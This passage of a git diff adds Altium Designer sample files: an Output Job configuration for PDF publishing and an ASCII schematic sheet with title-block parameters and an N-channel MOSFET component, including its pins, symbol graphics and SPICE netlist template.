0.00000000000000E+0000|MIRROR=FALSE|TEXT=MOSFET-N|WIDTH=10mil|USETTFONTS=FALSE|BOLD=FALSE|ITALIC=FALSE|INVERTED=FALSE|FONTNAME=Arial|INVERTEDTTTEXTBORDER=0mil|WIDESTRING=77,79,83,70,69,84,45,78|USEINVERTEDRECTANGLE=FALSE|INVRECTWIDTH=0mil|INVRECTHEIGHT=0mil|TTFINVERTEDTEXTJUSTIFY=3|TTFOFFSETFROMINVERTEDRECT=0mil|TEXTKIND=0|BARCODEFULLWIDTH=1050mil|BARCODEFULLHEIGHT=210mil|BARCODEXMARGIN=20mil|BARCODEYMARGIN=20mil|BARCODEMINWIDTH=0mil|BARCODEKIND=0|BARCODERENDERMODE=1|BARCODEINVERTED=TRUE|BARCODEFONTNAME=Arial|BARCODESHOWTEXT=TRUE|ADVANCEMODE=FALSE|COMMENT=True
+RECORD=Region|INDEXFORSAVE=0|V7_LAYER=MULTILAYER|NAME=Layer Stack Region 1|LAYER=KEEPOUT|KEEPOUT=TRUE|ISBOARDCUTOUT=TRUE|KIND=0|SUBPOLYINDEX=-1|UNIONINDEX=0|ARCRESOLUTION=0.5mil|ISSHAPEBASED=FALSE|CAVITYHEIGHT=0mil|OBJECTKIND=BoardRegion|BENDINGLINECOUNT=0|LOCKED3D=FALSE|LAYERSTACKID={133D6234-F010-46C7-B390-43FBDD454A88}
diff --git a/samples/Altium Designer/Sample Output Job.OutJob b/samples/Altium Designer/Sample Output Job.OutJob
new file mode 100755
index 0000000000..f62b05945c
--- /dev/null
+++ b/samples/Altium Designer/Sample Output Job.OutJob	
@@ -0,0 +1,70 @@
+[OutputJobFile]
+Version=1.0
+Caption=
+Description=
+VaultGUID=
+ItemGUID=
+ItemHRID=
+RevisionGUID=
+RevisionId=
+VaultHRID=
+AutoItemHRID=
+NextRevId=
+FolderGUID=
+LifeCycleDefinitionGUID=
+RevisionNamingSchemeGUID=
+
+[OutputGroup1]
+Name=Job Group
+Description=
+TargetOutputMedium=PDF
+VariantName=[No Variations]
+VariantScope=1
+CurrentConfigurationName=
+TargetPrinter=Virtual Printer
+PrinterOptions=Record=PrinterOptions|Copies=1|Duplex=1|TrueTypeOptions=3|Collate=1|PrintJobKind=1|PrintWhat=1
+OutputMedium1=PDF
+OutputMedium1_Type=Publish
+OutputType1=PDF3D
+OutputName1=PDF3D
+OutputCategory1=Documentation
+OutputDocumentPath1=
+OutputVariantName1=
+OutputEnabled1=1
+OutputEnabled1_OutputMedium1=1
+OutputDefault1=0
+PageOptions1=Record=PageOptions|CenterHorizontal=True|CenterVertical=True|PrintScale=1.00|XCorrection=1.00|YCorrection=1.00|PrintKind=1|BorderSize=5000000|LeftOffset=0|BottomOffset=0|Orientation=2|PaperLength=1000|PaperWidth=1000|Scale=100|PaperSource=7|PrintQuality=-3|MediaType=1|DitherType=10|PrintScaleMode=1|PaperKind=Letter|PaperIndex=1
+
+[PublishSettings]
+OutputFilePath1=.\Job1.PDF
+ReleaseManaged1=0
+OutputBasePath1=.\
+OutputPathMedia1=
+OutputPathMediaValue1=
+OutputPathOutputer1=[Output Type]
+OutputPathOutputerPrefix1=
+OutputPathOutputerValue1=
+OutputFileName1=Job1.PDF
+OutputFileNameMulti1=
+UseOutputNameForMulti1=1
+OutputFileNameSpecial1=
+OpenOutput1=1
+PromptOverwrite1=1
+PublishMethod1=0
+ZoomLevel1=50
+FitSCHPrintSizeToDoc1=1
+FitPCBPrintSizeToDoc1=1
+GenerateNetsInfo1=1
+MarkPins1=1
+MarkNetLabels1=1
+MarkPortsId1=1
+GenerateTOC1=1
+ShowComponentParameters1=1
+GlobalBookmarks1=0
+PDFACompliance1=Disabled
+PDFVersion1=Default
+
+[GeneratedFilesSettings]
+RelativeOutputPath1=.\Job1.PDF
+OpenOutputs1=1
+
diff --git a/samples/Altium Designer/Sample Schematic Sheet.SchDoc b/samples/Altium Designer/Sample Schematic Sheet.SchDoc
new file mode 100644
index 0000000000..16c2aba29b
--- /dev/null
+++ b/samples/Altium Designer/Sample Schematic Sheet.SchDoc	
@@ -0,0 +1,252 @@
+|HEADER=Protel for Windows - Schematic Capture Ascii File Version 5.0|WEIGHT=120|MINORVERSION=2|UNIQUEID=VUNWLVBI
+|RECORD=31|FONTIDCOUNT=4|SIZE1=10|FONTNAME1=Times New Roman|SIZE2=12|FONTNAME2=Times New Roman|SIZE3=10|ITALIC3=T|FONTNAME3=Times New Roman|SIZE4=15|ITALIC4=T|BOLD4=T|FONTNAME4=Times New Roman|USEMBCS=T|ISBOC=T|HOTSPOTGRIDON=T|HOTSPOTGRIDSIZE=4|SHEETSTYLE=10|SYSTEMFONT=1|BORDERON=T|SHEETNUMBERSPACESIZE=12|AREACOLOR=16317695|SNAPGRIDON=T|SNAPGRIDSIZE=10|VISIBLEGRIDON=T|VISIBLEGRIDSIZE=10|CUSTOMX=1000|CUSTOMY=800|SHOWTEMPLATEGRAPHICS=T|TEMPLATEFILENAME=C:\Users\Public\Documents\Altium\AD19\Templates\Letter.SchDot|DISPLAY_UNIT=0
+|RECORD=39|ISNOTACCESIBLE=T|OWNERPARTID=-1|FILENAME=C:\Users\Public\Documents\Altium\AD19\Templates\Letter.SchDot
+|RECORD=4|OWNERINDEX=1|OWNERPARTID=-1|LOCATION.X=806|LOCATION.Y=30|COLOR=8388608|FONTID=1|TEXT==sheetnumber
+|RECORD=4|OWNERINDEX=1|INDEXINSHEET=1|OWNERPARTID=-1|LOCATION.X=875|LOCATION.Y=70|COLOR=8388608|FONTID=3|TEXT==organization
+|RECORD=4|OWNERINDEX=1|INDEXINSHEET=2|OWNERPARTID=-1|LOCATION.X=875|LOCATION.Y=60|COLOR=8388608|FONTID=3|TEXT==address1
+|RECORD=4|OWNERINDEX=1|INDEXINSHEET=3|OWNERPARTID=-1|LOCATION.X=875|LOCATION.Y=50|COLOR=8388608|FONTID=3|TEXT==address2
+|RECORD=4|OWNERINDEX=1|INDEXINSHEET=4|OWNERPARTID=-1|LOCATION.X=875|LOCATION.Y=40|COLOR=8388608|FONTID=3|TEXT==address3
+|RECORD=4|OWNERINDEX=1|INDEXINSHEET=5|OWNERPARTID=-1|LOCATION.X=875|LOCATION.Y=30|COLOR=8388608|FONTID=3|TEXT==address4
+|RECORD=4|OWNERINDEX=1|INDEXINSHEET=6|OWNERPARTID=-1|LOCATION.X=832|LOCATION.Y=30|COLOR=8388608|FONTID=1|TEXT==sheettotal
+|RECORD=4|OWNERINDEX=1|INDEXINSHEET=7|OWNERPARTID=-1|LOCATION.X=648|LOCATION.Y=64|COLOR=128|FONTID=4|TEXT==title
+|RECORD=4|OWNERINDEX=1|INDEXINSHEET=8|OWNERPARTID=-1|LOCATION.X=727|LOCATION.Y=44|COLOR=8388608|FONTID=2|TEXT==documentnumber
+|RECORD=4|OWNERINDEX=1|INDEXINSHEET=9|OWNERPARTID=-1|LOCATION.X=819|LOCATION.Y=44|COLOR=8388608|FONTID=2|TEXT==revision
+|RECORD=4|OWNERINDEX=1|INDEXINSHEET=10|OWNERPARTID=-1|LOCATION.X=650|LOCATION.Y=30|COLOR=8388608|FONTID=1|TEXT==CurrentDate
+|RECORD=4|OWNERINDEX=1|INDEXINSHEET=11|OWNERPARTID=-1|LOCATION.X=735|LOCATION.Y=30|COLOR=8388608|FONTID=1|TEXT==CurrentTime
+|RECORD=4|OWNERINDEX=1|INDEXINSHEET=12|OWNERPARTID=-1|LOCATION.X=650|LOCATION.Y=20|COLOR=8388608|FONTID=1|TEXT==DocumentFullPathAndName
+|RECORD=6|OWNERINDEX=1|INDEXINSHEET=13|OWNERPARTID=-1|LOCATIONCOUNT=3|X1=980|Y1=80|X2=620|Y2=80|X3=620|Y3=20
+|RECORD=6|OWNERINDEX=1|INDEXINSHEET=14|OWNERPARTID=-1|LOCATIONCOUNT=2|X1=620|Y1=60|X2=870|Y2=60
+|RECORD=6|OWNERINDEX=1|INDEXINSHEET=15|OWNERPARTID=-1|LOCATIONCOUNT=2|X1=690|Y1=60|X2=690|Y2=40
+|RECORD=6|OWNERINDEX=1|INDEXINSHEET=16|OWNERPARTID=-1|LOCATIONCOUNT=2|X1=980|Y1=30|X2=620|Y2=30
+|RECORD=6|OWNERINDEX=1|INDEXINSHEET=17|OWNERPARTID=-1|LOCATIONCOUNT=2|X1=780|Y1=60|X2=780|Y2=30
+|RECORD=6|OWNERINDEX=1|INDEXINSHEET=18|OWNERPARTID=-1|LOCATIONCOUNT=3|X1=1080|Y1=80|X2=980|Y2=80|X3=980|Y3=30
+|RECORD=4|OWNERINDEX=1|INDEXINSHEET=19|OWNERPARTID=-1|LOCATION.X=625|LOCATION.Y=65|FONTID=1|TEXT=Title
+|RECORD=4|OWNERINDEX=1|INDEXINSHEET=20|OWNERPARTID=-1|LOCATION.X=625|LOCATION.Y=45|FONTID=1|TEXT=Size:
+|RECORD=4|OWNERINDEX=1|INDEXINSHEET=21|OWNERPARTID=-1|LOCATION.X=695|LOCATION.Y=45|FONTID=1|TEXT=Number:
+|RECORD=4|OWNERINDEX=1|INDEXINSHEET=22|OWNERPARTID=-1|LOCATION.X=625|LOCATION.Y=30|FONTID=1|TEXT=Date:
+|RECORD=4|OWNERINDEX=1|INDEXINSHEET=23|OWNERPARTID=-1|LOCATION.X=625|LOCATION.Y=20|FONTID=1|TEXT=File:
+|RECORD=4|OWNERINDEX=1|INDEXINSHEET=24|OWNERPARTID=-1|LOCATION.X=785|LOCATION.Y=45|FONTID=1|TEXT=Revision:
+|RECORD=4|OWNERINDEX=1|INDEXINSHEET=25|OWNERPARTID=-1|LOCATION.X=785|LOCATION.Y=30|FONTID=1|TEXT=Sheet
+|RECORD=4|OWNERINDEX=1|INDEXINSHEET=26|OWNERPARTID=-1|LOCATION.X=819|LOCATION.Y=30|FONTID=1|TEXT=of
+|RECORD=6|OWNERINDEX=1|INDEXINSHEET=27|OWNERPARTID=-1|LOCATIONCOUNT=2|X1=870|Y1=80|X2=870|Y2=30
+|RECORD=4|OWNERINDEX=1|INDEXINSHEET=28|OWNERPARTID=-1|LOCATION.X=710|LOCATION.Y=30|FONTID=1|TEXT=Time:
+|RECORD=4|OWNERINDEX=1|INDEXINSHEET=29|OWNERPARTID=-1|LOCATION.X=650|LOCATION.Y=44|COLOR=8388608|FONTID=2|TEXT=Letter
+|RECORD=6|OWNERINDEX=1|INDEXINSHEET=30|OWNERPARTID=-1|LOCATIONCOUNT=2|X1=620|Y1=40|X2=870|Y2=40
+|RECORD=6|OWNERINDEX=1|INDEXINSHEET=31|OWNERPARTID=-1|LOCATIONCOUNT=2|X1=980|Y1=30|X2=1080|Y2=30
+|RECORD=30|OWNERINDEX=1|INDEXINSHEET=32|OWNERPARTID=-1|LOCATION.X=985|LOCATION.Y=35|CORNER.X=1075|CORNER.Y=75|EMBEDIMAGE=T|FILENAME=newAltmLogo.bmp
+|RECORD=41|INDEXINSHEET=1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=*|NAME=CurrentTime|READONLYSTATE=1|UNIQUEID=TFKFYYBZ
+|RECORD=41|INDEXINSHEET=2|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=*|NAME=CurrentDate|READONLYSTATE=1|UNIQUEID=CQMMQRIW
+|RECORD=41|INDEXINSHEET=3|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=*|NAME=Time|READONLYSTATE=1|UNIQUEID=ORMXQSXJ
+|RECORD=41|INDEXINSHEET=4|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=*|NAME=Date|READONLYSTATE=1|UNIQUEID=HZWWYOPY
+|RECORD=41|INDEXINSHEET=5|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=*|NAME=DocumentFullPathAndName|READONLYSTATE=1|UNIQUEID=NOAYSZIV
+|RECORD=41|INDEXINSHEET=6|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=*|NAME=DocumentName|READONLYSTATE=1|UNIQUEID=HEPZZOBD
+|RECORD=41|INDEXINSHEET=7|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=*|NAME=ModifiedDate|READONLYSTATE=1|UNIQUEID=LQITJDRB
+|RECORD=41|INDEXINSHEET=8|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=Jeremy Blum|NAME=ApprovedBy|READONLYSTATE=1|UNIQUEID=HAXYCFAN
+|RECORD=41|INDEXINSHEET=9|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=Jeremy Blum|NAME=CheckedBy|READONLYSTATE=1|UNIQUEID=BOYBRKEO
+|RECORD=41|INDEXINSHEET=10|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=Jeremy Blum|NAME=Author|READONLYSTATE=1|UNIQUEID=JQQMCYKT
+|RECORD=41|INDEXINSHEET=11|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=Blum Idea Labs, LLC.|NAME=CompanyName|READONLYSTATE=1|UNIQUEID=XSKIFVPJ
+|RECORD=41|INDEXINSHEET=12|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=Jeremy Blum|NAME=DrawnBy|READONLYSTATE=1|UNIQUEID=WZQRCJTC
+|RECORD=41|INDEXINSHEET=13|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=Jeremy Blum|NAME=Engineer|READONLYSTATE=1|UNIQUEID=EBYLPZMA
+|RECORD=41|INDEXINSHEET=14|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=Blum Idea Labs, LLC.|NAME=Organization|READONLYSTATE=1|UNIQUEID=MTKSNFYI
+|RECORD=41|INDEXINSHEET=15|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=P. Sherman|NAME=Address1|READONLYSTATE=1|UNIQUEID=QEBJURHF
+|RECORD=41|INDEXINSHEET=16|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=42 Wallaby Way|NAME=Address2|READONLYSTATE=1|UNIQUEID=YOFSTNMZ
+|RECORD=41|INDEXINSHEET=17|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=Sydney, NSW|NAME=Address3|READONLYSTATE=1|UNIQUEID=XOHAZYDX
+|RECORD=41|INDEXINSHEET=18|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=Australia|NAME=Address4|READONLYSTATE=1|UNIQUEID=GJWLKXWR
+|RECORD=41|INDEXINSHEET=19|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=Sample Project|NAME=Title|READONLYSTATE=1|UNIQUEID=AHBYIKHM
+|RECORD=41|INDEXINSHEET=20|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=1|NAME=DocumentNumber|READONLYSTATE=1|UNIQUEID=TSMBUTGZ
+|RECORD=41|INDEXINSHEET=21|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=A|NAME=Revision|READONLYSTATE=1|UNIQUEID=HLUYXYJR
+|RECORD=41|INDEXINSHEET=22|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=1|NAME=SheetNumber|READONLYSTATE=1|UNIQUEID=ADCKVWVB
+|RECORD=41|INDEXINSHEET=23|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=1|NAME=SheetTotal|READONLYSTATE=1|UNIQUEID=SNRLLNQN
+|RECORD=41|INDEXINSHEET=24|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=*|NAME=Rule|READONLYSTATE=1|UNIQUEID=GVGHLCDM
+|RECORD=41|INDEXINSHEET=25|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=*|NAME=ImagePath|READONLYSTATE=1|UNIQUEID=DWEYCXTC
+|RECORD=41|INDEXINSHEET=26|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=*|NAME=ProjectName|READONLYSTATE=1|UNIQUEID=YJXFHWQX
+|RECORD=41|INDEXINSHEET=27|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=*|NAME=Application_BuildNumber|READONLYSTATE=1|UNIQUEID=XLIGBUNT
+|RECORD=41|INDEXINSHEET=28|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|NAME=ConfigurationParameters|READONLYSTATE=1|UNIQUEID=VHSBRBFY
+|RECORD=41|INDEXINSHEET=29|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|NAME=ConfiguratorName|READONLYSTATE=1|UNIQUEID=ZQHYRWYU
+|RECORD=41|INDEXINSHEET=30|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|NAME=VersionControl_RevNumber|READONLYSTATE=1|UNIQUEID=UPNBQKFJ
+|RECORD=41|INDEXINSHEET=31|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|NAME=IsUserConfigurable|READONLYSTATE=1|UNIQUEID=FJKATWKI
+|RECORD=41|INDEXINSHEET=32|OWNERPARTID=-1|COLOR=8388608|FONTID=1|ISHIDDEN=T|NAME=VersionControl_ProjFolderRevNumber|READONLYSTATE=1|UNIQUEID=JKDUFRLW
+|RECORD=1|LIBREFERENCE=MOSFET-N|COMPONENTDESCRIPTION=N-Channel MOSFET|PARTCOUNT=2|DISPLAYMODECOUNT=1|INDEXINSHEET=33|OWNERPARTID=-1|LOCATION.X=480|LOCATION.Y=510|CURRENTPARTID=1|SOURCELIBRARYNAME=Sample Integrated Library.IntLib|TARGETFILENAME=*|UNIQUEID=PFBWQACS|AREACOLOR=11599871|COLOR=128|PARTIDLOCKED=F|DESIGNITEMID=MOSFET-N|ALLPINCOUNT=3
+|RECORD=41|OWNERINDEX=67|OWNERPARTID=-1|LOCATION.X=480|LOCATION.Y=510|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=8-Jun-2000|NAME=Published|UNIQUEID=ZOVXKNZF
+|RECORD=41|OWNERINDEX=67|INDEXINSHEET=1|OWNERPARTID=-1|LOCATION.X=480|LOCATION.Y=510|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=17-Jul-2002|NAME=LatestRevisionDate|UNIQUEID=TVRTETJR
+|RECORD=41|OWNERINDEX=67|INDEXINSHEET=2|OWNERPARTID=-1|LOCATION.X=480|LOCATION.Y=510|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=Re-released for DXP Platform.|NAME=LatestRevisionNote|UNIQUEID=EKKGXTXI
+|RECORD=41|OWNERINDEX=67|INDEXINSHEET=3|OWNERPARTID=-1|LOCATION.X=480|LOCATION.Y=510|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=1995/1996|NAME=PackageVersion|UNIQUEID=YNBMVHFY
+|RECORD=41|OWNERINDEX=67|INDEXINSHEET=4|OWNERPARTID=-1|LOCATION.X=480|LOCATION.Y=510|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=E3|NAME=PackageReference|UNIQUEID=SQMUAXHU
+|RECORD=41|OWNERINDEX=67|INDEXINSHEET=5|OWNERPARTID=-1|LOCATION.X=480|LOCATION.Y=510|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=Altium Limited|NAME=Publisher|UNIQUEID=MSIBBBCW
+|RECORD=41|OWNERINDEX=67|INDEXINSHEET=6|OWNERPARTID=-1|LOCATION.X=480|LOCATION.Y=510|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=TO, Flat Index; 3 In-Line, Axial Leads; Body Dia. 4.6mm; Lead Dia. 0.5 mm (max)|NAME=PackageDescription|UNIQUEID=WKRGPWUF
+|RECORD=2|OWNERINDEX=67|OWNERPARTID=1|FORMALTYPE=1|ELECTRICAL=4|PINCONGLOMERATE=33|PINLENGTH=20|LOCATION.X=500|LOCATION.Y=510|NAME=D|DESIGNATOR=1
+|RECORD=41|OWNERINDEX=75|OWNERPARTID=-1|LOCATION.X=500|LOCATION.Y=510|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=RMYWLMKL|NAME=PinUniqueId|UNIQUEID=TFDWJEER
+|RECORD=2|OWNERINDEX=67|OWNERPARTID=1|FORMALTYPE=1|ELECTRICAL=4|PINCONGLOMERATE=34|PINLENGTH=20|LOCATION.X=480|LOCATION.Y=500|NAME=G|DESIGNATOR=2
+|RECORD=41|OWNERINDEX=77|OWNERPARTID=-1|LOCATION.X=480|LOCATION.Y=500|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=PTBOGPQG|NAME=PinUniqueId|UNIQUEID=DFXMFIVI
+|RECORD=2|OWNERINDEX=67|OWNERPARTID=1|FORMALTYPE=1|ELECTRICAL=4|PINCONGLOMERATE=35|PINLENGTH=20|LOCATION.X=500|LOCATION.Y=490|NAME=S|DESIGNATOR=3
+|RECORD=41|OWNERINDEX=79|OWNERPARTID=-1|LOCATION.X=500|LOCATION.Y=490|COLOR=8388608|FONTID=1|ISHIDDEN=T|TEXT=CQTFLVHW|NAME=PinUniqueId|UNIQUEID=ZQFVUDKT
+|RECORD=6|OWNERINDEX=67|ISNOTACCESIBLE=T|INDEXINSHEET=10|OWNERPARTID=1|LINEWIDTH=1|COLOR=16711680|LOCATIONCOUNT=2|X1=500|Y1=507|X2=490|Y2=507
+|RECORD=6|OWNERINDEX=67|ISNOTACCESIBLE=T|INDEXINSHEET=11|OWNERPARTID=1|LINEWIDTH=1|COLOR=16711680|LOCATIONCOUNT=2|X1=500|Y1=500|X2=490|Y2=500
+|RECORD=6|OWNERINDEX=67|ISNOTACCESIBLE=T|INDEXINSHEET=12|OWNERPARTID=1|LINEWIDTH=1|COLOR=16711680|LOCATIONCOUNT=2|X1=500|Y1=493|X2=490|Y2=493
+|RECORD=6|OWNERINDEX=67|ISNOTACCESIBLE=T|INDEXINSHEET=13|OWNERPARTID=1|LINEWIDTH=1|COLOR=16711680|LOCATIONCOUNT=2|X1=500|Y1=500|X2=500|Y2=490
+|RECORD=6|OWNERINDEX=67|ISNOTACCESIBLE=T|INDEXINSHEET=14|OWNERPARTID=1|LINEWIDTH=1|COLOR=16711680|LOCATIONCOUNT=2|X1=488|Y1=509|X2=488|Y2=491
+|RECORD=6|OWNERINDEX=67|ISNOTACCESIBLE=T|INDEXINSHEET=15|OWNERPARTID=1|LINEWIDTH=1|COLOR=16711680|LOCATIONCOUNT=2|X1=490|Y1=509|X2=490|Y2=505
+|RECORD=6|OWNERINDEX=67|ISNOTACCESIBLE=T|INDEXINSHEET=16|OWNERPARTID=1|LINEWIDTH=1|COLOR=16711680|LOCATIONCOUNT=2|X1=490|Y1=498|X2=490|Y2=502
+|RECORD=6|OWNERINDEX=67|ISNOTACCESIBLE=T|INDEXINSHEET=17|OWNERPARTID=1|LINEWIDTH=1|COLOR=16711680|LOCATIONCOUNT=2|X1=490|Y1=491|X2=490|Y2=495
+|RECORD=6|OWNERINDEX=67|ISNOTACCESIBLE=T|INDEXINSHEET=18|OWNERPARTID=1|LINEWIDTH=1|COLOR=16711680|LOCATIONCOUNT=2|X1=480|Y1=500|X2=488|Y2=500
+|RECORD=7|OWNERINDEX=67|ISNOTACCESIBLE=T|INDEXINSHEET=19|OWNERPARTID=1|COLOR=16711680|AREACOLOR=16711680|ISSOLID=T|LOCATIONCOUNT=3|X1=490|Y1=500|X2=496|Y2=498|X3=496|Y3=502
+|RECORD=6|OWNERINDEX=67|ISNOTACCESIBLE=T|INDEXINSHEET=20|OWNERPARTID=1|LINEWIDTH=1|COLOR=16711680|LOCATIONCOUNT=2|X1=500|Y1=507|X2=500|Y2=510
+|RECORD=6|OWNERINDEX=67|ISNOTACCESIBLE=T|INDEXINSHEET=21|OWNERPARTID=1|LINEWIDTH=1|COLOR=16711680|LOCATIONCOUNT=2|X1=500|Y1=507|X2=500|Y2=510
+|RECORD=34|OWNERINDEX=67|INDEXINSHEET=-1|OWNERPARTID=-1|LOCATION.X=503|LOCATION.Y=501|COLOR=8388608|FONTID=1|TEXT=Q1|NAME=Designator|READONLYSTATE=1|UNIQUEID=XHJQVISW
+|RECORD=41|OWNERINDEX=67|INDEXINSHEET=-1|OWNERPARTID=-1|LOCATION.X=503|LOCATION.Y=491|COLOR=8388608|FONTID=1|TEXT=MOSFET-N|NAME=Comment|UNIQUEID=NCMFURXY
+|RECORD=44|OWNERINDEX=67
+|RECORD=45|OWNERINDEX=95|INDEXINSHEET=-1|DESCRIPTION=TO, Flat Index; 3 In-Line, Axial Leads; Body Dia. 4.6mm; Lead Dia. 0.5 mm (max)|USECOMPONENTLIBRARY=T|MODELNAME=E3|MODELTYPE=PCBLIB|DATAFILECOUNT=1|MODELDATAFILEENTITY0=E3|MODELDATAFILEKIND0=PCBLib|ISCURRENT=T|DATALINKSLOCKED=T|DATABASEDATALINKSLOCKED=T|INTEGRATEDMODEL=T|DATABASEMODEL=T|UNIQUEID=LFQKQZIV
+|RECORD=46|OWNERINDEX=96
+|RECORD=48|OWNERINDEX=96
+|RECORD=45|OWNERINDEX=95|INDEXINSHEET=-1|DESCRIPTION=MOSFET-N|USECOMPONENTLIBRARY=T|MODELNAME=NMOS|MODELTYPE=SIM|ISCURRENT=T|DATALINKSLOCKED=T|DATABASEDATALINKSLOCKED=T|INTEGRATEDMODEL=T|DATABASEMODEL=T|UNIQUEID=VGDOZKJA
+|RECORD=46|OWNERINDEX=99
+|RECORD=48|OWNERINDEX=99
+|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|TEXT=M|NAME=Spice Prefix|UNIQUEID=IWLHANPG
+|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|%UTF8%TEXT=@DESIGNATOR %1 %2 %3 %3 @MODEL ?LENGTH¦L=@LENGTH¦ ?WIDTH¦W=@WIDTH¦ ?"DRAIN AREA"¦AD=@"DRAIN AREA"¦ ?"SOURCE AREA"¦AS=@"SOURCE AREA"¦ ?"DRAIN PERIMETER"¦PD=@"DRAIN PERIMETER"¦ ?"SOURCE PERIMETER"¦PS=@"SOURCE PERIMETER"¦ ?NRD¦NRD=@NRD¦ ?NRS¦NRS=@NRS¦ &"STARTING CONDITION" ?"INITIAL D-S VOLTAGE"¦IC=@"INITIAL D-S VOLTAGE", @"INITIAL G-S VOLTAGE", @"INITIAL B-S VOLTAGE"¦ ?TEMPERATURE¦TEMP=@TEMPERATURE¦|||TEXT=@DESIGNATOR %1 %2 %3 %3 @MODEL ?LENGTH�L=@LENGTH� ?WIDTH�W=@WIDTH� ?"DRAIN AREA"�AD=@"DRAIN AREA"� ?"SOURCE AREA"�AS=@"SOURCE AREA"� ?"DRAIN PERIMETER"�PD=@"DRAIN PERIMETER"� ?"SOURCE PERIMETER"�PS=@"SOURCE PERIMETER"� ?NRD�NRD=@NRD� ?NRS�NRS=@NRS� &"STARTING CONDITION" ?"INITIAL D-S VOLTAGE"�IC=@"INITIAL D-S VOLTAGE", @"INITIAL G-S VOLTAGE", @"INITIAL B-S VOLTAGE"� ?TEMPERATURE�TEMP=@TEMPERATURE�||NAME=Netlist|UNIQUEID=UKDZDPUV
+|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|TEXT=Transistor|NAME=Kind|UNIQUEID=FCLGVZVQ
+|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|TEXT=MOSFET|NAME=SubKind|UNIQUEID=KFSAMCHS
+|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Length|UNIQUEID=HTWOJZWX
+|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Width|UNIQUEID=PJQFWJSG
+|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Drain Area|UNIQUEID=MHIWZCEI
+|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Source Area|UNIQUEID=AVXUVPUR
+|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Drain Perimeter|UNIQUEID=CLSJSGLF
+|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Source Perimeter|UNIQUEID=GORMIQTA
+|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Nrd|UNIQUEID=NLNETLTE
+|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Nrs|UNIQUEID=PNNOBBBZ
+|RECORD=41|OWNERINDEX=101|INDEXINSHEET=-1|OWNERPARTID=-1|COLOR=8388608|FONTID=1|NAME=Starting Condition|UNIQUEID=OYCLRIOG
